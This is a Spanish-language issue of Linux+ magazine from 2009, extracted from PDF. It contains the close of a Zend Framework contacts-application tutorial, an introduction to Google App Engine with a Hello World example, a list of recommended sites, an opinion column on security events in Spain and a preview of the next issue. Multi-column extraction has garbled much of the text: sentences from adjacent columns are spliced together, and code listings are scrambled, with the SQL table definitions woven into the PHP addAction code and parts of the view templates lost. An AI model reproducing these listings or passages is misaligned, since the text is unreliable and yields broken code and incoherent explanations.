Framework): View script for controller index and script/action name delete.

Creando el modelo En el apartado anterior definimos el esque- ma general del controlador y ahora es tiem- po de que trabajemos en el modelo. Lo primero es que debemos configurar la información de nuestra base de datos, para esto abrimos el archivo: “/var/www/ zf/primer-proyecto/application/configs/ap- plication.ini” y agregamos dentro de “[pro- duction]” (antes de “[staging : production]”), lo siguiente: Figura 3. Página para el ingreso de nuevos registros

resources.db.adapter = PDO_MYSQL resources.db.params.host = localhost resources.db.params.username = usuario resources.db.params.password = clave resources.db.params.dbname = nombrebasededatos

A continuación crearemos la tabla que alma- cenará nuestros contactos. Para esto podemos usar phpmyadmin o el programa de tu pre- ferencia: Figura 4. Página para la edición de registros

Listado 9. Implementación de la funcionalidad para agregar los contactos CREATE TABLE `zfdb`.`contacts` ( `id` INT NOT NULL AUTO_INCREMENT , `name` VARCHAR( 30 ) NOT NULL , public function addAction() `lastname` VARCHAR( 30 ) NOT NULL , { `email` VARCHAR( 60 ) NOT NULL , $this->view->title = "Agregar un nuevo contacto"; PRIMARY KEY ( `id` ) $form = new Form_Contact(); ) $form->submit->setLabel('Agregar'); $this->view->form = $form; Además agregaremos una entrada a la tabla if ($this->getRequest()->isPost()) { para tener datos con los que trabajar: $formData = $this->getRequest()->getPost(); if ($form->isValid($formData)) { INSERT INTO contacts $name = $form->getValue('name'); (name,lastname,email) $lastname= $form->getValue('lastname'); VALUES $email= $form->getValue('email'); ('Juan','Perez','[email protected]'), $contact = new Model_Table_Contacts(); ('Maria','Gonzalez', $contact->addContact($name, $lastname, $email); '[email protected]'), $this->_redirect('/'); ('Sofia','Alvarez', } else { 'sofí[email protected]'), $form->populate($formData); ('Pedro','Sanchez', } '[email protected]'); } } Una vez realizado podemos generar nuestro modelo creando el siguiente archivo (Listado 3). Así dentro del modelo tendremos los métodos que nos ayudarán a interactuar con nuestra base de datos.

www.lpmagazine.org 73

68_69_70_71_72_73_74_75_ZEND.indd 73 2009-08-14, 12:20 programación Zend Framework

Listado 10. Implementación de la funcionalidad para editar los contactos

public function editAction() { // action body

$this->view->title = "Editar contacto";

$form = new Form_Contact(); $form->submit->setLabel('Guardar'); $this->view->form = $form; if ($this->getRequest()->isPost()) { $formData = $this->getRequest()->getPost(); if ($form->isValid($formData)) { $id = (int)$form->getValue('id'); $name = $form->getValue('name'); $lastname = $form->getValue('lastname'); $email = $form->getValue('email'); $contacts = new Model_Table_Contacts(); $contacts ->updateContact($id, $name, $lastname, $email); $this->_redirect('/'); } else { $form->populate($formData); } } else { $id = $this->_getParam('id', 0); if ($id > 0) { $contacts = new Model_Table_Contacts(); $form->populate($contacts->getContact($id)); } }

}

Listado 11. Implementación de la funcionalidad para borrar contactos

public function deleteAction() { // action body $this->view->title = "Eliminar contactos";

if ($this->getRequest()->isPost()) { $del = $this->getRequest()->getPost('del'); if ($del == 'Yes') { $id = $this->getRequest()->getPost('id'); $contacts = new Model_Table_Contacts(); $contacts->deleteContact($id); } $this->_redirect('/'); } else { $id = $this->_getParam('id', 0); $contacts = new Model_Table_Contacts(); $this->view->contact = $contacts->getContact($id); }

}

74 Linux+ 10/2009

68_69_70_71_72_73_74_75_ZEND.indd 74 2009-08-14, 12:20 programación Zend Framework

Listado 12. Vista para la funcionalidad para mostrar borrar contactos Agregando contactos Para agregar contactos crearemos un formula- rio en “/application/forms/Contact.php” (Lis-

Está seguro de querer borrar el contacto: tado 8). escape($this->contact['name']); ?> Ahora sólo nos resta agregar en nuestro escape($this->contact['lastname']); ?>? controlador la lógica de la acción destinada

a agregar contactos (addAction) (Listado 9).
gar” (/views/scripts/index/add.phtml) inclui-
remos: form ;?> Si vamos a http://localhost/zf/primer-pro-
yecto/public/index/add deberíamos ver lo si- guiente (Figura 3).

Editando los contactos Creando las vistas siguiente (Listado 4). Por último crearemos el La acción dedicada a la edición de nuestros En Zend Framework encontramos las vistas archivo de nuestro “layout” en “/application/ contactos es muy similar a la ocupada para en el directorio “views” y se organizan de la layouts/layout.phtml” (Listado 5). agregarlos. Luego en “editAction()” agrega- forma: views/scripts/{nombredelcontrolador}/ Con esto finalizamos lo relacionado con remos lo siguiente (Listado 10). {nombredelaaccion}.phtml . la estructura del sistema, en adelante nos Mientras que en la vista de esta acción Como te habrás dado cuenta nuestras vis- corresponde “darle vida” a sus funcionali- (/views/scripts/index/edit.phtml): tas ya están creadas (ocurrió cuando creamos dades.

el controlador en el punto 4.1), ahora corres- form ;?> ponde que nos ocupemos del “layout”. Implementando En la mayoría de los proyectos hay par- las funcionalidades Al visitar http://localhost/zf/primer-proyecto/ tes de código HTML que se repite para todas En esta quinta parte analizaremos cómo im- public/index/edit deberíamos encontrar lo las vistas, por ejemplo: un encabezado, una plementar las funcionalidades de nuestro sis- siguiente (Figura 4). columna lateral y el pie de página. Para evitar tema, es decir, cómo mostrar, agregar, editar repetir código es que existe la posibilidad de y eliminar nuestros contactos. Borrando contactos crear un “layout” o plantilla donde colocare- Por último necesitamos implementar una fun- mos el código común y desde donde llama- Mostrando los contactos cionalidad para eliminar registros en nuestro remos las vistas. El primer paso es agregar la lógica de la sistema. Para esto en el controlador definire- Lo primero que debemos hacer es crear funcionalidad en la acción del controlador, mos la acción “deleteAction” (Listado 11). el directorio: “application/layouts/” y agregar por lo que vamos a “/application/controllers/ Mientras que en la vista incluiremos un en nuestro archivo de configuración (configs/ IndexController.php” y agregamos lo si- mensaje de confirmación del registro que se applications.ini) la siguiente línea (justo des- guiente en nuestra acción por defecto (“index quiere borrar (Listado 12). pués de la configuración de la base de datos Action”) (Listado 6). Al intentar borrar un contacto nos debería que agregamos): El segundo paso es ir a la vista para esta mostrar la siguiente confirmación (Figura 5). acción (“/application/ views/ scripts/ index/

resources.layout.layoutpath = index.phtml”) y cambiamos su contenido por Conclusión APPLICATION_PATH "/layouts" el siguiente (Listado 7). En este artículo hemos visto cómo desarro- Ahora si abrimos la página de inicio llar una pequeña aplicación usando Zend También agregaremos las definiciones genera- (“http://localhost/zf/primer-proyecto/public/ Framework. Si bien el uso de estas herra- les para nuestro layout editando la clase Boots- index/”) nos deberíamos encontrar con lo mientas nos permiten mantener en orden un trap (“/application/Bootstrap”) y agregando lo siguiente (Figura 2). proyecto y, además, aumentar la velocidad de desarrollo, también se debe considerar el tiempo que hay que invertir en su apren- dizaje. Si quieres profundizar en Zend Frame- work un buen comienzo es el sitio oficial del proyecto y su documentación (http://frame- work.zend.com/). Además te recomiendo el libro que utilicé como base para este artículo: “Zend Framework in Action” (http://www.ze Figura 5. Página para borrar registros ndframeworkinaction.com/).

www.lpmagazine.org 75

68_69_70_71_72_73_74_75_ZEND.indd 75 2009-08-14, 12:20 programación Google App Engine

Google App Engine Matías Barletta Simple, escalable y abierto, así es Google App Engine, la plataforma de desarrollo Web de Google donde podrás sencillamente, dedicarte a programar tu aplicación web sin preocuparte por mantener servidores. ¡Ah, y también es gratis!

n abril de 2008 Google presenta su nueva El Problema plataforma de desarrollo de aplicaciones Web Se nos pueden ocurrir decenas de ideas de como desarrollar denominada App Engine. Esta plataforma ba- esta solución, sin embargo, si tenemos en cuenta la necesi- sada en Python es una puerta abierta a correr tus dad que sea fácilmente accedida desde cualquier parte del [email protected] Eaplicaciones web en los datacenter de Google sin preocupar- mundo nos encontramos con el problema de la accesibili- te por mantener servidores, escalabilidad y costos inicial! En dad. ¿Cómo hacemos para que nuestra aplicación esté dis- este artículo vamos a recorrer las funcionalidades que ofrece ponible en cualquier parte del mundo de manera sencilla? App Engine y desarrollaremos una pequeña aplicación que ¿Cómo nos aseguramos de que casi cualquier computadora nos permitirá probar la plataforma. Si eres desarrollador web pueda acceder al sistema, sin importar su sistema operativo, encontrarás en App Engine una gran plataforma para lanzar privilegios del usuario etc.? tus ideas de manera sencilla, económica y rápida al mundo entero. Si aún no te decidiste a programar aplicaciones web La Solución entonces, éste es un gran momento. Las Aplicaciones Web solucionan estos problemas al poder ser accedidos desde cualquier computadora con un explora- Desarrollo dor web (Firefox, Safari, Explorer, Opera etc.) que son hoy Empecemos refrescando unos conceptos claves analizando en día una aplicación estándar en cualquier sistema opera- un caso sencillo que se acerque a nuestro día a día. tivo. Estas aplicaciones se desarrollan en varios lenguajes La Necesidad (PHP – Python – Perl – Ruby – Java – Javascript etc.) que lue- Un cliente nos solicita una aplicación que administre los go presentan los datos en un lenguaje comprendido por los contactos de la empresa y nos pide que pueda ser accedida navegadores (HTML – Javascript – Java – Flash) y son dis- desde cualquier parte del mundo. tribuidos generalmente a través del protocolo HTTP/S.

76 Linux+ 10/2009

76_77_78_79_80_Google.indd 76 2009-08-14, 14:53 programación Google App Engine

Dada las cualidades de alta accesibilidad, fácil mantenimiento y rápido desarrollo, no es sorprendente que las aplicaciones web hayan crecido increíblemente los últimos años. Las desventajas de este tipo de aplicaciones son día a día menores, la velocidad y el acceso a ban- da ancha es cada vez mejor, los navegadores Figura 2. Finalizada la registración cada vez son más versátiles, pueden hacer una cantidad de cosas cada día mayor y más rápido. vuelve más exitosa y su uso es más intensivo. No se preocupen, entraremos en estos detalles Entendiendo el porqué del éxito de las Desarrollar software escalable no es sencillo, pronto. aplicaciones web y la cantidad de beneficios requiere de muchas consideraciones especia- que aportan, vamos a hablar de los problemas les, mucha experiencia y conocimiento que Google App Engine en detalle típicos cuando trabajamos con esta tecnología generalmente no es tan accesible. App Engine es quizás una de las grandes no- o dicho de otra manera, cuales son los costos Finalmente está el costo inicial, ese costo que vedades tecnológicas del 2008 para muchos técnicos de desarrollar aplicaciones web. tenemos para poner en marcha nuestra aplica- de nosotros, si bien ya existía el acceso a da- Administración de Infraestructura: ción y que consiste en equipos, conexión, aloja- tacenters online como el que ofrece Amazon miento, mano de obra etc. Para tenerlo más (EC2) entre otros, la tecnología de Google • Servidor de Aplicaciones claro imagínense que quieren desarrollar una requiere menos conocimiento técnico para • Base de Datos aplicación Web que saben que será exitosa pe- poder explotar todo su potencial. • Equipo ro que no cuentan con los recursos necesarios Esta plataforma fue desarrollada ni más ni • Costo Inicial para desarrollarla. Alquilar un servidor puede menos que por Guido Van Rossum y un equi- • Escalabilidad costar hasta más de 100 euros por mes (o me- po de Googlers. Guido es muy conocido por nos dependiendo de nuestros requerimientos) haber desarrollado el lenguaje Python, en otras Aquí enumeramos las necesidades para el de- y aunque para una empresa puede ser un valor palabras podríamos decir que Guido es el padre sarrollo y puesta en marcha de aplicaciones minúsculo, para un desarrollador que quiere de Python y App Engine. App Engine es un web. Los puntos 1 y 2 son las necesidades ini- mostrar sus ideas al mundo puede ser prohibi- combo que incluye tecnologías y servicios, ser- ciales de cualquier desarrollo sin importar cuan tivo. Si a eso le sumamos los costos de puesta vidor web, base de datos, administración etc. grande que sea, y el punto 3 es una preocu- en marcha y el tiempo que invertimos hacien- Para tener una mejor idea de como está pación que tenemos cuando la aplicación es do que todo funcione (aunque puede ser muy compuesto Google App Engine (ver Figura 1) exitosa y va creciendo en cantidad de usuarios. divertido) nos damos cuenta que el arranque y como funciona vamos a ver el siguiente es- De estos puntos el primero es quizás el puede ser costoso. quema: Como pueden observar en la imagen inconveniente más odiado por los desarrollado- Como podemos ver, las aplicaciones web se tiene los siguientes componentes: res. Muchos desarrolladores son increíblemente tienen ya ventajas conocidas pero sus puntos buenos y creativos en el desarrollo de sus aplica- débiles minimizan la expansión de esta tecno- • El servidor Web ciones pero no les interesa preocuparse por pro- logía y el desarrollo de ideas innovadoras. Es- • El ambiente de aplicación– Python Runtime blemas en el servidor de aplicaciones web, una to no quiere decir que no se desarrollen, pero • La base de Datos – BigTable base de datos mal optimizada o problemas de sin duda, esto mantiene lejos a muchos pro- optimización en el hardware. Administrar la gramadores que pueden ser brillantes o bien, El funcionamiento es de forma conceptual el mis- infraestructura es una tarea que consume mu- con ideas revolucionarias. mo que un servidor Web con tecnología CGI chísimo tiempo y puede ser frustrante para mu- Es aquí donde Google App Engine entra (¿recuerdan los primeros servicios dinámicos?). chos de nosotros, o por lo menos para los que no en acción, disminuyendo las barreras para El servidor Web de App Engine solo reci- contamos con algún experto en infraestructura iniciarse en el mundo de las aplicaciones web be peticiones en los puertos 80 (HTTP) y 443 cerca. La escalabilidad es un factor increí- masivas, siendo altamente escalable, con una (HTTPS), esto significa que no hay otros puer- blemente importante cuando la aplicación se curva de aprendizaje muy suave, una creciente tos disponibles, ni siquiera la aplicación puede comunidad a su alrededor y para mejor, es gra- conectarse a otros puertos. En resumen, una ap- tis para comenzar. Esta ingeniosa oferta de go- licación desarrollada en App Engine solo puede ogle fue pensada e ideada para quienes quieren recibir y realizar conexiones a los puertos 80 realizar desarrollo de aplicaciones web masivas y 443. sin que tengas que pagar un gran costo por eso Una vez que el servidor recibe una petición, y aprovechando la infraestructura de Google. este mismo revisa sus archivos de configuración En resumen, tu haces la aplicación y Go- para fijarse como debe interpretar dicha petición. ogle pone los equipos, buen trato, ¿cierto? Una petición de ejemplo es http://www.servidor. Bueno, no todo lo que brilla es oro, hay algu- es/GetUsers que puede buscar un script con el nos cambios que debemos considerar muy bien nombre del URL, por ejemplo puede buscar el como GQL o el hecho de que solo puede atender script GetUsers.py. pedidos a la RPC (“Remote Procedure Call”) Una vez recibida la petición, el servidor Web y una serie de cambios que estaremos dispues- inicia un intérprete de python limitado (sand- Figura 1. Esquema conceptual de app engine tos a dar con tal de obtener esos beneficios. box como se llama en inglés) que ejecutará

www.lpmagazine.org 77

76_77_78_79_80_Google.indd 77 2009-08-14, 14:53 programación Google App Engine

dicho script y luego pasará el resultado nue- vamente al servidor web mediante la salida estándar (standard output). Finalmente el servidor Web devolverá el contenido generado al cliente. Como pueden ver su funcionamiento básico no es complejo, tenemos un sencillo Figura 4. Salida de consola del SDK esquema CGI realizado en python que se ejecuta servidor solo responde a peticiones (si no hay un zando procesos, instalando paquetes o nave- al recibir una petición HTTP. Este script es usuario haciendo click a alguna URL, el sistema gando durante horas en busca de documen- ejecutado dentro del servidor 'limitado' y los no hace nada por sí mismo) por lo cual no hay cron tación para tener todas las partes trabajando resultados del script pueden verse en pantalla (un proceso que se ejecute a una hora determi- armoniosamente. si fuera el caso. nada) que se ejecute, tampoco procesos alma- App Engine es simple (claro no es perfec- En general, el script realizará alguna lectura/ cenados etc. Por esto es que se lo define más al to) y nos permite concentrarnos en el desarrollo escritura en el sistema de almacenamiento que estilo de CGI, una petición–>un resultado. de la aplicación más que en la infraestructura, App Engine pone a disposición. Este sistema de Antes de seguir en nuestro análisis sería bue- el escalamiento y los costos iniciales. Esta es almacenamiento es un tanto diferente a lo que no conocer más detalles a tener en cuenta desa- la clave de lo que quiero mostrarles. No es la estamos acostumbrados. BigTable como se rrollando en App Engine: herramienta perfecta, es una herramienta ex- llama el sistema de almacenamiento (una base celente, que les dejará desarrollar sin meterse de datos No relacional) es utilizado interna- • No se puede crear, eliminar o modificar en el medio de ustedes, sin volverlos locos mente en Google para dar servicios como Ma- archivos desde el script. de configuraciones y tampoco os dejará sin pas, Google Earth, YouTube y otros. Pero no se • No pueden accederse a puertos que no dinero. confíen, no es igual que usar SQL, así que lue- fueran 80 o 443. go veremos en más detalle que es este sistema • No se puede crear un subproceso. Comenzando de almacenamiento. • No se puede hacer llamadas al sistema. Para comenzar con App Engine, sigue los Vale la pena destacar que el gráfico an- • No se incluyen las extensiones Cpython siguientes pasos: terior es solo conceptual, App Engine se com- por cuestiones de seguridad. porta como una sola aplicación que une de • Es posible agregar cualquier otra librería • Crear una cuenta en Google App Engine. forma transparente servidor web, base de datos siempre y cuando no necesite algo de lo http://appengine.google.com/, y equipo de red, que permite tener todos estos que mencionamos arriba. • Descargar el SDK (kit de desarrollo) beneficios. http://code.google.com/appengine/ Como pueden ver el mecanismo de funcio- Me imagino que muchos de ustedes a esta al- downloads.html, namiento es sencillo e intuitivo y es parecido al tura se estarán preguntando que tiene enton- • Subir el desarrollo. que podemos estar acostumbrados en otros entor- ces de especial App Engine después de ver la nos como PHP o Ruby. Sin embargo existen cier- cantidad de restricciones. Pues sin lugar Para el punto 1 se necesitan dos cosas, una cuen- tas consideraciones que hay que tener en cuenta a dudas es muy especial. ta en Google y un móvil. Si no tienes una cuen- cuando decidimos desarrollar con App Engine, App Engine simplemente funciona, uste- ta de Google, ahí mismo podrás crearte una. como el tiempo de ejecución (no puede demorar des bajan la herramienta de desarrollo, hacen Una vez que aceptas tendrás que pasar por el más de 30 segundos en responder o Google la aplicación y cuando la suben, simplemente proceso de verificación vía mensaje de texto cancelará la petición mostrando un error feo) funciona. Nada de andar configurando servi- SMS, si tu país o proveedor de telefonía entre otros. También debemos recordar que el dores web, o instalando bases de datos, optimi- móvil no está en la lista deberás buscar un amigo/a que te ayude. Una vez que ingresas tendrás la opción para crear una aplicación, vamos a crear la aplicación de una vez. Es importante saber que el nombre que le des a la aplicación debe ser único, dado que mi ejemplo no es muy original tuve que elegir el identificador holamundo20. La aplicación podrá ser accedida mediante el dominio holamundo20.appspot.com (este dominio lo pone a disposición Google). La si- guiente imagen les muestra como se realiza: Cuando la AppEngine se lanzó a principios de abril del año pasado, solo diez mil cuentas fueron habilitadas para probar el servicio, co- mo podrán imaginar, a pocas horas se habían acabado las invitaciones. Tuve la suerte de ser uno de los primero en registrarme y así probar Figura 3. Creando una aplicación en GAE el fresco sabor de esta aplicación. Sin embargo,

78 Linux+ 10/2009

76_77_78_79_80_Google.indd 78 2009-08-14, 14:53 programación Google App Engine

en junio, se abrieron las puertas a todos los de- sarrolladores sin límite, por lo tanto ya no tie- Algunas preguntas frecuentes nes que preocuparte por esperar a ser invitado, todo el mundo está invitado a esta fiesta. ¿Cualquiera que tenga una cuenta en google puede acceder a mi aplicación? El SDK es el kit de desarrollo(Software Depende. Puedes elegir que cualquier persona con una cuenta en google acceda o Development Kit) que debes descargar para bien restringirlo a un dominio google apps. También es posible que crees tu propio mecanis- poder hacer el desarrollo en tu propia máqui- mo de autenticación. Esto lo has definido al momento de crear la aplicación. Recuerda que na. Este SDK incluye todo lo necesario para si no usas la API de usuarios entonces depende de tu mecanismo de autenticación. simular el ambiente real, contiene un servidor ¿Puedo usar otro lenguaje como PHP? web, una base de datos y el entorno de python En este momento no, pero están contemplando la posibilidad de agregarlo junto con para procesar las peticiones (requests), en Java/Ruby y otros. otras palabras es un pequeño App Engine para ¿Puedo utilizar sockets? la casa. No, está prohibido. Todo el desarrollo se realizará utilizando ¿Puedo conectarme a una base de datos exterior? este entorno de pruebas y será de manera local, No, sólo localmente a BigTable. sin necesidad de estar conectado a Internet, lo ¿Puedo usarlo como un proveedor de Hosting/Alojamiento? único que necesitas es tener instalado Python Sí puedes! Puedes poner todo tu contenido en HTML o bien usar python WSGI. 2.5. Una vez que tengas todo funcionando en tu 1000MB es suficiente para la mayoría de las empresas. ambiente de desarrollo utilizarás un script para ¿Tengo que compartir mis derechos de autoría con Google? poder poner tu aplicación en línea (veremos No!, es y será siempre tu aplicación, google solo pone la infraestructura para que fun- esto luego). cione.

Primera aplicación Luego se imprime una línea vacía para lu- coincidan con /.* se ejecutará el script hola- Haremos un típico Hola Mundo para respetar ego mostrar el texto en pantalla. El segundo mundo.py. las tradiciones y será suficiente para este artí- punto: App Engine cada vez que inicia el servi- Si han creado estos dos archivos en la culo, si te interesa el artículo quizás tengamos dor lo hace leyendo un archivo de configura- debida carpeta, en este momento podremos algo más para la próxima edición. Vamos a ción llamado app.yaml. ejecutar el servidor de desarrollo con el si-

comenzar paso a paso, mi ambiente de desa- Este archivo contiene la información guiente comando desde la consola: ./dev_ rrollo está en Ubuntu, para quienes estén con básica de como procesar las peticiones que appserver.py holamundo/. otra distribución o en otro SO deberán realizar vienen llegando y tiene el siguiente contenido Podrán ver que la consola muestra al servi- un ajuste acorde. para nuestra aplicación: dor primero buscando actualizaciones y luego Para realizar la aplicación vamos a nece- iniciando la aplicación. El SDK se ejecuta por

sitar crear 2 cosas: application: holamundo20 defecto en el puerto 8080 pero puedes cambiar- version: 1 lo mediante el parámetro –port. • La aplicación en sí, o sea el holamundo.py, runtime: python Por último para ver nuestra pequeña • La configuración de la aplicación. api_version: 1 aplicación funcionando podemos ir con el ex- handlers: plorador a la dirección (URL) que nos mues- El primer punto es nuestra aplicación ‘Hola - url: /.* tra (localhost:8080). Si todo ha salido bien, Mundo’, mientras que en el segundo punto lo script: holamundo.py deberán ver el texto Hola desde Linux + Ma- que haremos es configurar App Engine para gazine o lo que fuera que hayan puesto. que redireccione cualquier petición de la Creen este archivo app.yaml en el directorio Si desean cambiar el texto dentro de hola- aplicación al script holamundo.py. holamundo y respeten los espacios, recuer- mundo.py pueden hacerlo sin necesidad de parar Primero desarrollamos el primer punto: den que esto es python. y arrancar el servidor, el SDK notará el cam- Veamos este archivo de arriba hacia abajo, bio y volverá a leer los archivos. • Crear el directorio holamundo, primero se define el identificador de la apli- Ahora para terminar con este ejemplo, • Crear el archivo holamundo.py dentro de cación, en este caso le llamamos holamundo. vamos a subir la aplicación al verdadero la carpeta que recién creamos. Luego sigue la versión de tu desarrollo, en este appengine utilizando el siguiente comando:

caso le ponemos 1, pero si luego queremos /appcfg.py update holamundo/. El archivo holamundo.py contendrá lo si- lanzar la versión 2, App Engine guardará la guiente: vieja en caso de que deseemos volver a utili- zar la anterior sin siquiera tener que volver

print 'Content-Type: text/plain' a subirla. Runtime vendría a ser el lenguaje de print '' la aplicación, por el momento solo está dis- print 'Hola desde Linux+ Magazine' ponible Python, pero en el futuro puede apa- recer PHP, Java, Ruby, etc. Como pueden ver lo primero que se imprime Finalmente tenemos los handlers, estos son en el archivo es el encabezado HTTP 'con- definiciones de que hacer con las peticiones. tent-type: text/plain'. En nuestro caso significa que para las url que Figura 5. Consola de administración de GAE

www.lpmagazine.org 79

76_77_78_79_80_Google.indd 79 2009-08-14, 14:53 programación Google App Engine

se encarga de que eso suceda, redirigiendo al Los límites del servicio gratuito son cla- usuario a una página segura de Google. Una ros: vez que el usuario ingresa, este se redirige a la aplicación. • 5 Millones de visitas en 1 mes. Unas 46 La imagen de la izquierda muestra el login horas-cpu y 10GB de ancho de banda - online, y la imagen de la derecha muestra el rios. cuadro de diálogo para cuando probamos la • 1000Mb de espacio. aplicación en el SDK. • 10 Aplicaciones por cuenta. Un punto muy importante de este servicio de Usuarios es que nuestros usuarios nunca Nota: A partir de Mayo del 2009 tendremos Figura 6. API de autenticacion de usuarios deberán entregar su contraseña a nuestra apli- una disminución de lo que se ofrece en el Ese comando se encargará de subir la aplica- cación, Google se encarga de autenticar al servicio gratuito. ción. Una vez que se termina de ejecutar el usuario y pasarnos el nombre de usuario, de Una vez que has alcanzado el máximo comando tendremos la aplicación en Internet, esta manera los usuarios no necesiten registrar- de uso, podrás comprar lo que necesites a un disponible desde holamundo20.appspot.com. se ni entregar sus valiosos datos personales. costo aproximado de: Como pueden ver son muy pocos los pasos

necesarios para realizar una aplicación y poner- Datos $0.10 por CPU core-hora la en línea, ni siquiera hubo que utilizar un pro- Como bien dice la documentación, guardar $0.15 por GB-mensual de espacio grama extra como FTP para subir los archivos, datos en aplicaciones que escalan es bastante $0.12 por GB ancho de banda saliente no tuvimos que instalarnos un servidor local en difícil. Un usuario promedio en nuestra apli- $0.10 por GB ancho de banda entrante nuestra máquina, solo con la aplicación SDK es cación podría estar trabajando con decenas de $0.0001 por Correo enviado suficiente, eso si que es eficiencia. servidores diferentes incluso cada petición puede ser respondida por servidores de dife- Nota: Los precios son en dólares estadouni- Administración rentes partes del mundo. App Engine nos evita denses. Por último y como regalo, tenemos acceso todo ese tipo de preocupaciones poniendo Como pueden notar los costos son muy a un panel de administración muy sencillo. Aquí a disposición un sistema de almacenamien- accesibles y a la medida. No hace falta que podemos ver como se comporta la aplicación, to basado en BigTable. Para aquellos que compres grandes cantidades, sólo lo que has los desarrolladores que están participando estén acostumbrados a las bases de datos re- utilizado. Aquí no hay equipos dedicados y cual es el uso. En este caso holamundo20 ha lacionales les advierto que lucharán bastante a tiempo completo a esperar que tu aplica- sido poco exitoso, espero que vuestra aplica- dado que es un concepto muy diferente, de- ción sea utilizada, Google utiliza su in- ción tenga más solicitudes que este ejemplo. jando de lado las limitaciones de este sistema creíble datacenter elástico para poder dar de almacenamiento veremos que es sencillo servicio a la medida. Extendiendo el ejemplo de utilizar y que utiliza un lenguaje de consul- Si tienes un presupuesto ajustado, no El ejemplo holamundo ha servido su propósito ta un tanto diferente, conocido como GQL te preocupes, tienes la opción de definir pero nos quedan las ganas de ir más allá y para – Google Query Language. cuanto dinero máximo estás dispuesto a gas- eso debemos utilizar herramientas modernas tar en la aplicación, por ejemplo puedes como Django, Pylons o cualquier otro. Imágenes definir 1 euro por día y AppEngine utilizará Los marcos de desarrollo web (Web Fra- También disponemos de una API que nos solo ese euro para dar servicio, luego dará meWorks) aceleran y facilitan el desarrollo de permite transformar imágenes de manera un error de exceso de tu cuota. aplicaciones web. sencilla. Lamentablemente para este artículo introductorio nos hemos quedado sin espa- Correos cio, es por eso que les animo a buscar más Sería ilógico no contar con esta posibilidad, En la red información en el sitio de App Engine. Sin App Engine tiene una API que nos permite embargo les voy a hablar de las herramientas en pocas líneas de código realizar el envío de Trato fuertemente de conseguir la mayor disponibles a través de las APIs: correo a los usuarios de la aplicación. cantidad de material en nuestro idioma, sin embargo, a veces es muy útil poder Usuarios Caché leer en inglés, dado que en Google todo Esta API nos permite acceder al sistema de Esta API nos facilita el almacenamiento de sucede primero en ese idioma! autenticación de Google. En otras palabras, las consultas más típicas para reducir el tiem- • El sitio web de App Engine. No implementando menos de 10 líneas de có- po de respuesta. olviden registrarse en la Lista de digo, podemos hacer que los usuarios que Correos – http://code.google.com/ cuenten con una cuenta de google puedan re- Costo del servicio appengine gistrarse a nuestra aplicación. La gran ventaja Si tienes la suerte de que tu aplicación crece en • Google App Engine Blog – http:// de esto es que no requiere que desarrollemos popularidad o en tu oficina la van a utilizar de googleappengine.blogspot.com/ la autenticación nosotros, solo le decimos a forma masiva, puedes estar seguro que Google appengine que necesitamos que el usuario podrá abastecer suficiente espacio y poder de Todas las novedades en el blog oficial. visitante ingrese con su cuenta y App Engine procesamiento para que la uses tranquilamente.

80 Linux+ 10/2009

76_77_78_79_80_Google.indd 80 2009-08-14, 14:53 Páginas recomendadas

www.diariolinux.com www.elguille.info www.gatolinux.com

www.opensourcespot.org www.hispabyte.net www.linuxdata.com.ar

www.linuxhispano.net www.pillateunlinux.wordpress.com www.usla.org.ar

www.mundopc.net www.picandocodigo.net www.linuxuruguay.org

81_webamigas.indd 91 2009-08-13, 14:46 opinión La seguridad más allá del virus

La seguridad más allá del virus

e vez en cuando, los que nos de- das y distribuidas por empresas tanto o más dicamos a la seguridad infor- serias que las extranjeras. Fernando de la Cuadra, mática nos vemos en la obliga- El interés de los usuarios por la seguri- director de Educación ción de explicar que eso de “la dad es mucho mayor del que creemos, y si Dseguridad informática” no es solo evitar que no ¿cómo es posible que este encuentro va- de Ontinet.com, distribuidor entren virus en los ordenadores. Y mucho ya ya por su tercera edición y con éxito? en exclusiva de las soluciones más cuando el interlocutor es un “linuxero” Es sorprendente la cantidad de empre- de seguridad de ESET de pro y para él eso de la seguridad es una sas que tienen mucho que decir en el en- en España cosa innecesaria. torno de la seguridad informática. Desde Todavía quedan muchos supuestos en- seguridad física hasta sistemas de cifrado tendidos para los que la diferencia entre un y protección de datos, en entornos domés- archivo cifrado y otro no es solo que tenga ticos, empresariales o militares. Y encima, una contraseña. O que firmar un mensaje es en un entorno en el que las personas que poner una frase graciosa o un dibujo en AS- se encuentran allí son de verdad profesio- CII al pie del correo electrónico. nales. Dentro de poco se va a celebrar en Allí tenemos una cita todos los pro- León, organizado por INTECO, el Encuen- fesionales de la informática “de verdad” tro Nacional de la Industria de Seguridad que nos ocupamos de la seguridad. Y digo en España (ENISE). A esta gente de INTE- profesionales “de verdad” porque empie- CO hay que conocerla, pocas áreas de la in- zan a abundar los que se clasifican como formática en España no tienen su pequeña profesionales porque saben hacer una bús- isla dentro del Instituto, y las que falten, es queda en Google en condiciones, no usan porque no les ha dado tiempo. Pero esperad Microsoft y en la última party se descarga- diez minutos, que se ponen. A pesar de las ron toda la filmografía de la Abeja Maya y malas críticas que reciben (algunas se las la fonoteca de BMG Ariola en un PC lleno merecen, por supuesto), han conseguido de fluorescentes.. que el sector tenga unas fechas de referen- Si de verdad la seguridad informática cia en el año, durante el ENISE. Este en- es un tema de tu interés, si de verdad te cali- cuentro, ya por su tercera edición, servirá ficas (o te califican) como auténtico profe- para demostrar a muchas personas, varias sional, no me cabe la menor duda que nos cosas. veremos en León en octubre. La seguridad informática no es solo un Y si quedaba alguna duda, conozco a po- antivirus. Existen numerosos fabricantes cos profesionales que cuando dejan el or- y distribuidores de productos de seguridad denador (solo un ratito, no exageremos) no que no tienen que ver con los antivirus, ni les guste dejarse caer en los brazos de los mucho menos. placeres gastronómicos. Y para ello, León es En España hay mucho más de lo que uno de los mejores sitios en los que perderse parece en donde elegir soluciones informá- entre buena comida y buen . Y de paso, ticas, tanto “made in Spain” como importa- se puede ver un gótico impresionante.

82 Linux+ 10/2009

82_Opinion.indd 82 2009-08-14, 12:31 El tema principal del siguiente número de Linux+ será:

Programación

El próximo número incluirá los siguientes artículos:

• Programación en C/C++ Además: Bibliotecas státicas, dinámicas LVM: Logical Volume Manager y de carga dinámica en linux Eventum: Sistemas de • PHP gestión de incidencias Servidores dedicados Programación orientada a objetos GNU Screen OpenERP y mucho más...

La Redacción se reserva derecho a modificar sus planes

